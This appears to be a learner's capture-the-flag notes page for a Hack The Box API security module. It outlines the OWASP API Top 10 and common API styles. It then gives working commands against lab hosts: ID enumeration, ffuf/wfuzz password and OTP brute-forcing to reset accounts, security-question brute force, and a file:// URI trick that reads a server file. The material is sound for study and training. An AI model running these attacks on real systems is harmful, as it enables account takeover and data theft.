Skip to content

API attack

  • Broken object level authorization
  • Broken authentication
  • Broken object property level authorization
  • Unrestricted resource consumption
  • Broken function level authorization
  • Unrestricted access to sensitive business flows
  • Server side request forgery
  • Security misconfiguration
  • improper inventory management
  • Unsafe consumption of APIs

API building styles

  • Representational State Transfer (REST) is the most popular API style. It uses a client-server model where clients make requests to resources on a server using standard HTTP methods (GET, POST, PUT, DELETE). RESTful APIs are stateless, meaning each request contains all necessary information for the server to process it, and responses are typically serialized as JSON or XML.

  • Simple Object Access Protocol (SOAP) uses XML for message exchange between systems. SOAP APIs are highly standardized and offer comprehensive features for security, transactions, and error handling, but they are generally more complex to implement and use than RESTful APIs.

  • GraphQL is an alternative style that provides a more flexible and efficient way to fetch and update data. Instead of returning a fixed set of fields for each resource, GraphQL allows clients to specify exactly what data they need, reducing over-fetching and under-fetching of data. GraphQL APIs use a single endpoint and a strongly-typed query language to retrieve data.

  • gRPC is a newer style that uses Protocol Buffers for message serialization, providing a high-performance, efficient way to communicate between systems. gRPC APIs can be developed in a variety of programming languages and are particularly useful for microservices and distributed systems.

OWASP API Security Top 10 | 2023

$ for ((i=1;i<=20;i++)); do 
curl -s -X 'GET' \
  'http://83.136.252.242:46669/api/v1/suppliers/quarterly-reports/'$i'' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTcyMTM2Njc5MiwiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.T2mSaN20mSaYJnc2cBZE5gMELL5819OzdKkzWmUBqAD7gW-cBi1EhYkvgPBDNpRlpseLMQh-6q5zHq7mAaagcQ' | jq
done

Bruteforce password with ffuf

# extract email addresses from a file
$  grep -i -o '[A-Z0-9._%+-]\+@[A-Z0-9.-]\+\.[A-Z]\{2,4\}' file.txt > emails.txt

$ ffuf -w /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PASS -w customerEmails.txt:EMAIL -u http://94.237.59.63:31874/api/v1/authentication/customers/sign-in -X POST -H "Content-Type: application/json" -d '{"Email": "EMAIL", "Password": "PASS"}' -fr "Invalid Credentials" -t 100
# POST method doesn't support! Fuzzing password when an API endpoint only support GET method
$ wfuzz -z list,Billy-Jack-Lucy-Roger-administrator -z file,/usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt --basic FUZZ:FUZ2Z http://git.offseclab.io/api/v1/user > output.txt

# Wfuzz can set an authentication headers by using the –basic/ntlm/digest command line switches.

Broken Authentication

Quiz solution:

OTP is one-time password. User use /api/v1/authentication/customers/passwords/resets/email-otps to request a password reset action, the server will send an one-time token to the user's email. Then, use the following ffuf command to bruteforce the one-time token that has been sent to the email. After you find the OTP token. Use /api/v1/authentication/customers/passwords/resets to reset a new password for the customer, then you get full access of this customer's account.

-fr: filter the value meets the regular expression

-mr: Find the value meets the regular expression

$ seq -w 0 9999 > tokens.txt

# bruteforce the OTP token
$ ffuf -w tokens.txt:TOKEN -u http://94.237.59.199:34941/api/v1/authentication/customers/passwords/resets -X POST -H "Content-Type: application/json" -d '{"Email": "MasonJenkins@ymail.com", "OTP": "TOKEN", "NewPassword": "qwerasdfzxcv123"}'  -fr "false"

# request body of /api/v1/authentication/customers/passwords/resets
{
  "Email": "MasonJenkins@ymail.com",
  "OTP": "2221",
  "NewPassword": "qwerasdfzxcv123"
}
# use dd to create a file containing 30 random megabytes and assign it the .pdf extension
# if: input file; of: output file
$ dd if=/dev/urandom of=certificateOfIncorporation.pdf bs=1M count=30

HTTP Security Response Headers Cheat Sheet

Skill assessment

  1. use the provided credential to login.

  2. the user can access /api/v2/suppliers to get all suppliers and some suppliers have security question: what is your favoriate color? Extract the email addresses of these suppliers and store the email addresses into a file.

  3. use /api/v2/authentication/suppliers/passwords/resets/security-question-answers endpoint to reset the password of the suppliers

Use this wordlist colors.txt|GitHub for colours.txt

$ ffuf -w supplieremailsOutput.txt:EMAIL -w colours.txt:COLOUR -u http://94.237.59.63:36181/api/v2/authentication/suppliers/passwords/resets/security-question-answers -X POST -H "Content-Type: application/json" -d '{"SupplierEmail": "EMAIL", "SecurityQuestionAnswer": "COLOUR", "NewPassword": "qwerasdfzxcv123"}'  -fr "false"

[Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 298ms]
    * COLOUR: rust
    * EMAIL: B.Rogers1535@globalsolutions.com

:: Progress: [375/375] :: Job [1/1] :: 142 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
  1. use B.Rogers1535@globalsolutions.com:qwerasdfzxcv123 to login as a supplier

  2. /api/v2/suppliers/current-user/cv : upload the supplier's CV

# Response body
{
  "successStatus": true,
  "fileURI": "file:///app/wwwroot/SupplierCVs/cv.pdf",
  "fileSize": 6
}
  1. /api/v2/suppliers/current-user update ProfessionalCVPDFFileURI
# Request body
{
  "SecurityQuestion": "What is your favorite color?",
  "SecurityQuestionAnswer": "black",
  "ProfessionalCVPDFFileURI": "file:///flag.txt",
  "PhoneNumber": "123456",
  "Password": "qwerasdfzxcv123"
}

# Response body
{
  "SuccessStatus": true
}
  1. /api/v2/suppliers/current-user/cv get current supplier's CV
# Response body
{
  "successStatus": true,
  "base64Data": "SFRCe2YxOTBiODBjZDU0M2E4NGIyMzZlOTJhMDdhOWQ4ZDU5fQo="
}

$ echo "SFRCe2YxOTBiODBjZDU0M2E4NGIyMzZlOTJhMDdhOWQ4ZDU5fQo=" | base64 -d
HTB{f190b80cd543a84b236e92a07a9d8d59}